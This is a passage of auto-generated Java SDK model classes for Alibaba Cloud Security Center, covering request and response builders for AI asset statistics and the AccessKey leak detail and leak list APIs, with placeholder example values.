* <strong>example:</strong>
* <p>2</p>
*/
public Builder snapshotAssetCnt(Integer snapshotAssetCnt) {
this.snapshotAssetCnt = snapshotAssetCnt;
return this;
}
/**
* <p>The total number of AI assets.</p>
*
* <strong>example:</strong>
* <p>25</p>
*/
public Builder totalAssetCnt(Integer totalAssetCnt) {
this.totalAssetCnt = totalAssetCnt;
return this;
}
/**
* <p>The total number of assets with AI risks.</p>
*
* <strong>example:</strong>
* <p>26</p>
*/
public Builder totalRiskCnt(Integer totalRiskCnt) {
this.totalRiskCnt = totalRiskCnt;
return this;
}
/**
* <p>The number of servers with AI application vulnerabilities.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder vulRiskAssetCnt(Integer vulRiskAssetCnt) {
this.vulRiskAssetCnt = vulRiskAssetCnt;
return this;
}
public Data build() {
return new Data(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAccessKeyLeakDetailRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAccessKeyLeakDetailRequest} extends {@link RequestModel}
*
* <p>DescribeAccessKeyLeakDetailRequest</p>
*/
public class DescribeAccessKeyLeakDetailRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Id")
@com.aliyun.core.annotation.Validation(required = true)
private Long id;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceDirectoryAccountId")
private Long resourceDirectoryAccountId;
private DescribeAccessKeyLeakDetailRequest(Builder builder) {
super(builder);
this.id = builder.id;
this.resourceDirectoryAccountId = builder.resourceDirectoryAccountId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAccessKeyLeakDetailRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return resourceDirectoryAccountId
*/
public Long getResourceDirectoryAccountId() {
return this.resourceDirectoryAccountId;
}
public static final class Builder extends Request.Builder<DescribeAccessKeyLeakDetailRequest, Builder> {
private Long id;
private Long resourceDirectoryAccountId;
private Builder() {
super();
}
private Builder(DescribeAccessKeyLeakDetailRequest request) {
super(request);
this.id = request.id;
this.resourceDirectoryAccountId = request.resourceDirectoryAccountId;
}
/**
* <p>The ID of the AccessKey pair leak event.</p>
* <blockquote>
* <p>You can call the <a href="~~DescribeAccesskeyLeakList~~">DescribeAccesskeyLeakList</a> operation to obtain the event ID.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>389357</p>
*/
public Builder id(Long id) {
this.putQueryParameter("Id", id);
this.id = id;
return this;
}
/**
* <p>The Alibaba Cloud account ID of the member in the resource directory.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeMonitorAccounts~~">DescribeMonitorAccounts</a> operation to query the ID.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>127608589417****</p>
*/
public Builder resourceDirectoryAccountId(Long resourceDirectoryAccountId) {
this.putQueryParameter("ResourceDirectoryAccountId", resourceDirectoryAccountId);
this.resourceDirectoryAccountId = resourceDirectoryAccountId;
return this;
}
@Override
public DescribeAccessKeyLeakDetailRequest build() {
return new DescribeAccessKeyLeakDetailRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAccessKeyLeakDetailResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAccessKeyLeakDetailResponse} extends {@link TeaModel}
*
* <p>DescribeAccessKeyLeakDetailResponse</p>
*/
public class DescribeAccessKeyLeakDetailResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAccessKeyLeakDetailResponseBody body;
private DescribeAccessKeyLeakDetailResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAccessKeyLeakDetailResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAccessKeyLeakDetailResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAccessKeyLeakDetailResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAccessKeyLeakDetailResponseBody body);
@Override
DescribeAccessKeyLeakDetailResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAccessKeyLeakDetailResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAccessKeyLeakDetailResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAccessKeyLeakDetailResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAccessKeyLeakDetailResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAccessKeyLeakDetailResponse build() {
return new DescribeAccessKeyLeakDetailResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAccessKeyLeakDetailResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAccessKeyLeakDetailResponseBody} extends {@link TeaModel}
*
* <p>DescribeAccessKeyLeakDetailResponseBody</p>
*/
public class DescribeAccessKeyLeakDetailResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AccesskeyId")
private String accesskeyId;
@com.aliyun.core.annotation.NameInMap("Asset")
private String asset;
@com.aliyun.core.annotation.NameInMap("Code")
private String code;
@com.aliyun.core.annotation.NameInMap("DealTime")
private String dealTime;
@com.aliyun.core.annotation.NameInMap("DealType")
private String dealType;
@com.aliyun.core.annotation.NameInMap("GithubFileName")
private String githubFileName;
@com.aliyun.core.annotation.NameInMap("GithubFileType")
private String githubFileType;
@com.aliyun.core.annotation.NameInMap("GithubFileUpdateTime")
private String githubFileUpdateTime;
@com.aliyun.core.annotation.NameInMap("GithubFileUrl")
private String githubFileUrl;
@com.aliyun.core.annotation.NameInMap("GithubRepoName")
private String githubRepoName;
@com.aliyun.core.annotation.NameInMap("GithubRepoUrl")
private String githubRepoUrl;
@com.aliyun.core.annotation.NameInMap("GithubUser")
private String githubUser;
@com.aliyun.core.annotation.NameInMap("GithubUserPicUrl")
private String githubUserPicUrl;
@com.aliyun.core.annotation.NameInMap("GmtCreate")
private String gmtCreate;
@com.aliyun.core.annotation.NameInMap("GmtModified")
private String gmtModified;
@com.aliyun.core.annotation.NameInMap("Remark")
private String remark;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
@com.aliyun.core.annotation.NameInMap("Source")
private String source;
@com.aliyun.core.annotation.NameInMap("TokenValid")
private Integer tokenValid;
@com.aliyun.core.annotation.NameInMap("Type")
private String type;
@com.aliyun.core.annotation.NameInMap("WhitelistStatus")
private String whitelistStatus;
@com.aliyun.core.annotation.NameInMap("WhitelistTime")
private Long whitelistTime;
private DescribeAccessKeyLeakDetailResponseBody(Builder builder) {
this.accesskeyId = builder.accesskeyId;
this.asset = builder.asset;
this.code = builder.code;
this.dealTime = builder.dealTime;
this.dealType = builder.dealType;
this.githubFileName = builder.githubFileName;
this.githubFileType = builder.githubFileType;
this.githubFileUpdateTime = builder.githubFileUpdateTime;
this.githubFileUrl = builder.githubFileUrl;
this.githubRepoName = builder.githubRepoName;
this.githubRepoUrl = builder.githubRepoUrl;
this.githubUser = builder.githubUser;
this.githubUserPicUrl = builder.githubUserPicUrl;
this.gmtCreate = builder.gmtCreate;
this.gmtModified = builder.gmtModified;
this.remark = builder.remark;
this.requestId = builder.requestId;
this.source = builder.source;
this.tokenValid = builder.tokenValid;
this.type = builder.type;
this.whitelistStatus = builder.whitelistStatus;
this.whitelistTime = builder.whitelistTime;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAccessKeyLeakDetailResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return accesskeyId
*/
public String getAccesskeyId() {
return this.accesskeyId;
}
/**
* @return asset
*/
public String getAsset() {
return this.asset;
}
/**
* @return code
*/
public String getCode() {
return this.code;
}
/**
* @return dealTime
*/
public String getDealTime() {
return this.dealTime;
}
/**
* @return dealType
*/
public String getDealType() {
return this.dealType;
}
/**
* @return githubFileName
*/
public String getGithubFileName() {
return this.githubFileName;
}
/**
* @return githubFileType
*/
public String getGithubFileType() {
return this.githubFileType;
}
/**
* @return githubFileUpdateTime
*/
public String getGithubFileUpdateTime() {
return this.githubFileUpdateTime;
}
/**
* @return githubFileUrl
*/
public String getGithubFileUrl() {
return this.githubFileUrl;
}
/**
* @return githubRepoName
*/
public String getGithubRepoName() {
return this.githubRepoName;
}
/**
* @return githubRepoUrl
*/
public String getGithubRepoUrl() {
return this.githubRepoUrl;
}
/**
* @return githubUser
*/
public String getGithubUser() {
return this.githubUser;
}
/**
* @return githubUserPicUrl
*/
public String getGithubUserPicUrl() {
return this.githubUserPicUrl;
}
/**
* @return gmtCreate
*/
public String getGmtCreate() {
return this.gmtCreate;
}
/**
* @return gmtModified
*/
public String getGmtModified() {
return this.gmtModified;
}
/**
* @return remark
*/
public String getRemark() {
return this.remark;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
/**
* @return source
*/
public String getSource() {
return this.source;
}
/**
* @return tokenValid
*/
public Integer getTokenValid() {
return this.tokenValid;
}
/**
* @return type
*/
public String getType() {
return this.type;
}
/**
* @return whitelistStatus
*/
public String getWhitelistStatus() {
return this.whitelistStatus;
}
/**
* @return whitelistTime
*/
public Long getWhitelistTime() {
return this.whitelistTime;
}
public static final class Builder {
private String accesskeyId;
private String asset;
private String code;
private String dealTime;
private String dealType;
private String githubFileName;
private String githubFileType;
private String githubFileUpdateTime;
private String githubFileUrl;
private String githubRepoName;
private String githubRepoUrl;
private String githubUser;
private String githubUserPicUrl;
private String gmtCreate;
private String gmtModified;
private String remark;
private String requestId;
private String source;
private Integer tokenValid;
private String type;
private String whitelistStatus;
private Long whitelistTime;
private Builder() {
}
private Builder(DescribeAccessKeyLeakDetailResponseBody model) {
this.accesskeyId = model.accesskeyId;
this.asset = model.asset;
this.code = model.code;
this.dealTime = model.dealTime;
this.dealType = model.dealType;
this.githubFileName = model.githubFileName;
this.githubFileType = model.githubFileType;
this.githubFileUpdateTime = model.githubFileUpdateTime;
this.githubFileUrl = model.githubFileUrl;
this.githubRepoName = model.githubRepoName;
this.githubRepoUrl = model.githubRepoUrl;
this.githubUser = model.githubUser;
this.githubUserPicUrl = model.githubUserPicUrl;
this.gmtCreate = model.gmtCreate;
this.gmtModified = model.gmtModified;
this.remark = model.remark;
this.requestId = model.requestId;
this.source = model.source;
this.tokenValid = model.tokenValid;
this.type = model.type;
this.whitelistStatus = model.whitelistStatus;
this.whitelistTime = model.whitelistTime;
}
/**
* <p>The ID of the AccessKey pair that is leaked.</p>
*
* <strong>example:</strong>
* <p>yourAccessKeyID</p>
*/
public Builder accesskeyId(String accesskeyId) {
this.accesskeyId = accesskeyId;
return this;
}
/**
* <p>The platform to which the asset belongs. The value is fixed as <strong>Cloud platform</strong>.</p>
*
* <strong>example:</strong>
* <p>Cloud platform</p>
*/
public Builder asset(String asset) {
this.asset = asset;
return this;
}
/**
* <p>The code snippet that is leaked.</p>
*
* <strong>example:</strong>
* <p>\n1231 \nak=yourAccessKeyID \n12311123 \nsk1999 \nsk1999sk1999 \nsk1999sk1999 \n\n\ntest001 ak hht \nak=yourAccessKeyID \nsk=yourAccessKeySecret</p>
*/
public Builder code(String code) {
this.code = code;
return this;
}
/**
* <p>The time when the AccessKey pair leak was handled.</p>
*
* <strong>example:</strong>
* <p>2022-01-17 15:47:08</p>
*/
public Builder dealTime(String dealTime) {
this.dealTime = dealTime;
return this;
}
/**
* <p>The solution to the AccessKey pair leak. Valid values:</p>
* <ul>
* <li><strong>manual</strong>: manually deleted</li>
* <li><strong>disable</strong>: manually disabled</li>
* <li><strong>add-whitelist</strong>: added to the whitelist</li>
* <li><strong>pending</strong>: unhandled</li>
* </ul>
*
* <strong>example:</strong>
* <p>add-whitelist</p>
*/
public Builder dealType(String dealType) {
this.dealType = dealType;
return this;
}
/**
* <p>The name of the GitHub file.</p>
*
* <strong>example:</strong>
* <p>testAkLeak</p>
*/
public Builder githubFileName(String githubFileName) {
this.githubFileName = githubFileName;
return this;
}
/**
* <p>The type of the GitHub file. Valid values:</p>
* <ul>
* <li>Python</li>
* <li>XML</li>
* <li>GO</li>
* <li>Javascript</li>
* <li>INI</li>
* <li>JSON</li>
* <li>C++</li>
* </ul>
*
* <strong>example:</strong>
* <p>Python</p>
*/
public Builder githubFileType(String githubFileType) {
this.githubFileType = githubFileType;
return this;
}
/**
* <p>The time when the GitHub file was updated.</p>
*
* <strong>example:</strong>
* <p>2021-07-06T09:49:33</p>
*/
public Builder githubFileUpdateTime(String githubFileUpdateTime) {
this.githubFileUpdateTime = githubFileUpdateTime;
return this;
}
/**
* <p>The URL of the GitHub file.</p>
*
* <strong>example:</strong>
* <p><a href="https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk">https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk</a>****</p>
*/
public Builder githubFileUrl(String githubFileUrl) {
this.githubFileUrl = githubFileUrl;
return this;
}
/**
* <p>The name of the GitHub repository.</p>
*
* <strong>example:</strong>
* <p>ExamOnline</p>
*/
public Builder githubRepoName(String githubRepoName) {
this.githubRepoName = githubRepoName;
return this;
}
/**
* <p>The URL of the GitHub repository.</p>
*
* <strong>example:</strong>
* <p><a href="https://github.com/Blue00Blue/ExamOn">https://github.com/Blue00Blue/ExamOn</a>****</p>
*/
public Builder githubRepoUrl(String githubRepoUrl) {
this.githubRepoUrl = githubRepoUrl;
return this;
}
/**
* <p>The username of the GitHub user.</p>
*
* <strong>example:</strong>
* <p>Blue00Blue</p>
*/
public Builder githubUser(String githubUser) {
this.githubUser = githubUser;
return this;
}
/**
* <p>The URL of the profile picture for the GitHub user.</p>
*
* <strong>example:</strong>
* <p><a href="https://avatars.githubusercontent.com/u/26296896?s=48&v=">https://avatars.githubusercontent.com/u/26296896?s=48&v=</a>****</p>
*/
public Builder githubUserPicUrl(String githubUserPicUrl) {
this.githubUserPicUrl = githubUserPicUrl;
return this;
}
/**
* <p>The first time when the AccessKey pair leak was detected.</p>
*
* <strong>example:</strong>
* <p>2021-07-06 17:49:41</p>
*/
public Builder gmtCreate(String gmtCreate) {
this.gmtCreate = gmtCreate;
return this;
}
/**
* <p>The last time when the AccessKey pair leak was detected.</p>
*
* <strong>example:</strong>
* <p>2021-07-06 17:49:39</p>
*/
public Builder gmtModified(String gmtModified) {
this.gmtModified = gmtModified;
return this;
}
/**
* <p>The remarks of the AccessKey pair leak.</p>
*
* <strong>example:</strong>
* <p>12</p>
*/
public Builder remark(String remark) {
this.remark = remark;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>79CFF74D-E967-5407-8A78-EE03B925FDAA</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
/**
* <p>The platform on which the AccessKey pair leak is detected.</p>
*
* <strong>example:</strong>
* <p>GitHub</p>
*/
public Builder source(String source) {
this.source = source;
return this;
}
/**
* <p>The validity of the key that is associated with the AccessKey pair. Valid values:</p>
* <ul>
* <li><strong>0</strong>: to be confirmed.</li>
* <li><strong>1</strong>: valid.</li>
* <li><strong>2</strong>: invalid.</li>
* </ul>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder tokenValid(Integer tokenValid) {
this.tokenValid = tokenValid;
return this;
}
/**
* <p>The type of the leak. The value is fixed as <strong>AccessKey</strong>.</p>
*
* <strong>example:</strong>
* <p>AccessKey</p>
*/
public Builder type(String type) {
this.type = type;
return this;
}
/**
* <p>Indicates whether the AccessKey pair leak is added to the whitelist. Valid values:</p>
* <ul>
* <li><strong>no</strong>: no</li>
* <li><strong>yes</strong>: yes</li>
* </ul>
*
* <strong>example:</strong>
* <p>no</p>
*/
public Builder whitelistStatus(String whitelistStatus) {
this.whitelistStatus = whitelistStatus;
return this;
}
/**
* <p>The time when the AccessKey pair was added to the whitelist. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1689172004478</p>
*/
public Builder whitelistTime(Long whitelistTime) {
this.whitelistTime = whitelistTime;
return this;
}
public DescribeAccessKeyLeakDetailResponseBody build() {
return new DescribeAccessKeyLeakDetailResponseBody(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAccesskeyLeakListRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAccesskeyLeakListRequest} extends {@link RequestModel}
*
* <p>DescribeAccesskeyLeakListRequest</p>
*/
public class DescribeAccesskeyLeakListRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
@com.aliyun.core.annotation.Validation(required = true)
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
@com.aliyun.core.annotation.Validation(required = true)
private Integer pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Query")
private String query;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceDirectoryAccountId")
private Long resourceDirectoryAccountId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("StartTs")
private Long startTs;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
private DescribeAccesskeyLeakListRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.query = builder.query;
this.resourceDirectoryAccountId = builder.resourceDirectoryAccountId;
this.startTs = builder.startTs;
this.status = builder.status;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAccesskeyLeakListRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return query
*/
public String getQuery() {
return this.query;
}
/**
* @return resourceDirectoryAccountId
*/
public Long getResourceDirectoryAccountId() {
return this.resourceDirectoryAccountId;
}
/**
* @return startTs
*/
public Long getStartTs() {
return this.startTs;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
public static final class Builder extends Request.Builder<DescribeAccesskeyLeakListRequest, Builder> {
private Integer currentPage;
private Integer pageSize;
private String query;
private Long resourceDirectoryAccountId;
private Long startTs;
private String status;
private Builder() {
super();
}
private Builder(DescribeAccesskeyLeakListRequest request) {
super(request);
this.currentPage = request.currentPage;
this.pageSize = request.pageSize;
this.query = request.query;
this.resourceDirectoryAccountId = request.resourceDirectoryAccountId;
this.startTs = request.startTs;
this.status = request.status;
}
/**
* <p>The number of the page to return. Default value: <strong>1</strong>.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries to return on each page.<br>Maximum value: 100. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.</p>
* <blockquote>
* <p>We recommend that you do not leave this parameter empty.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* <p>The AccessKey ID that you want to query. Only exact match is supported.</p>
*
* <strong>example:</strong>
* <p>yourAccessKeyID</p>
*/
public Builder query(String query) {
this.putQueryParameter("Query", query);
this.query = query;
return this;
}
/**
* <p>The Alibaba Cloud account ID of the member in the resource directory.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeMonitorAccounts~~">DescribeMonitorAccounts</a> operation to query the ID.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>127608589417****</p>
*/
public Builder resourceDirectoryAccountId(Long resourceDirectoryAccountId) {
this.putQueryParameter("ResourceDirectoryAccountId", resourceDirectoryAccountId);
this.resourceDirectoryAccountId = resourceDirectoryAccountId;
return this;
}
/**
* <p>The beginning of the time range to query. You can query all AccessKey pair leaks that are detected later than this time point. The value of this parameter is a UNIX timestamp. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1614155361489</p>
*/
public Builder startTs(Long startTs) {
this.putQueryParameter("StartTs", startTs);
this.startTs = startTs;
return this;
}
/**
* <p>Specifies whether an AccessKey pair leak is handled. Valid values:</p>
* <ul>
* <li><strong>pending</strong>: unhandled</li>
* <li><strong>dealed</strong>: handled</li>
* </ul>
*
* <strong>example:</strong>
* <p>pending</p>
*/
public Builder status(String status) {
this.putQueryParameter("Status", status);
this.status = status;
return this;
}
@Override
public DescribeAccesskeyLeakListRequest build() {
return new DescribeAccesskeyLeakListRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAccesskeyLeakListResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAccesskeyLeakListResponse} extends {@link TeaModel}
*
* <p>DescribeAccesskeyLeakListResponse</p>
*/
public class DescribeAccesskeyLeakListResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAccesskeyLeakListResponseBody body;
private DescribeAccesskeyLeakListResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAccesskeyLeakListResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAccesskeyLeakListResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAccesskeyLeakListResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAccesskeyLeakListResponseBody body);
@Override
DescribeAccesskeyLeakListResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAccesskeyLeakListResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAccesskeyLeakListResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAccesskeyLeakListResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAccesskeyLeakListResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAccesskeyLeakListResponse build() {
return new DescribeAccesskeyLeakListResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAccesskeyLeakListResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAccesskeyLeakListResponseBody} extends {@link TeaModel}
*
* <p>DescribeAccesskeyLeakListResponseBody</p>
*/
public class DescribeAccesskeyLeakListResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AccessKeyLeakList")
private java.util.List<AccessKeyLeakList> accessKeyLeakList;
@com.aliyun.core.annotation.NameInMap("AkLeakCount")
private Integer akLeakCount;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("GmtLast")
private Long gmtLast;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private DescribeAccesskeyLeakListResponseBody(Builder builder) {
this.accessKeyLeakList = builder.accessKeyLeakList;
this.akLeakCount = builder.akLeakCount;
this.currentPage = builder.currentPage;
this.gmtLast = builder.gmtLast;
this.pageSize = builder.pageSize;
this.requestId = builder.requestId;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAccesskeyLeakListResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return accessKeyLeakList
*/
public java.util.List<AccessKeyLeakList> getAccessKeyLeakList() {
return this.accessKeyLeakList;
}
/**
* @return akLeakCount
*/
public Integer getAkLeakCount() {
return this.akLeakCount;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return gmtLast
*/
public Long getGmtLast() {
return this.gmtLast;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private java.util.List<AccessKeyLeakList> accessKeyLeakList;
private Integer akLeakCount;
private Integer currentPage;
private Long gmtLast;
private Integer pageSize;
private String requestId;
private Integer totalCount;
private Builder() {
}
private Builder(DescribeAccesskeyLeakListResponseBody model) {
this.accessKeyLeakList = model.accessKeyLeakList;
this.akLeakCount = model.akLeakCount;
this.currentPage = model.currentPage;
this.gmtLast = model.gmtLast;
this.pageSize = model.pageSize;
this.requestId = model.requestId;
this.totalCount = model.totalCount;
}
/**
* <p>An array that consists of the details about AccessKey pair leaks.</p>
*/
public Builder accessKeyLeakList(java.util.List<AccessKeyLeakList> accessKeyLeakList) {
this.accessKeyLeakList = accessKeyLeakList;
return this;
}
/**
* <p>The number of AccessKey pair leaks that are unhandled.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder akLeakCount(Integer akLeakCount) {
this.akLeakCount = akLeakCount;
return this;
}
/**
* <p>The page number of the returned page.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>This parameter is deprecated.</p>
*
* <strong>example:</strong>
* <p>1612357897000</p>
*/
public Builder gmtLast(Long gmtLast) {
this.gmtLast = gmtLast;
return this;
}
/**
* <p>The number of entries returned per page.</p>
*
* <strong>example:</strong>
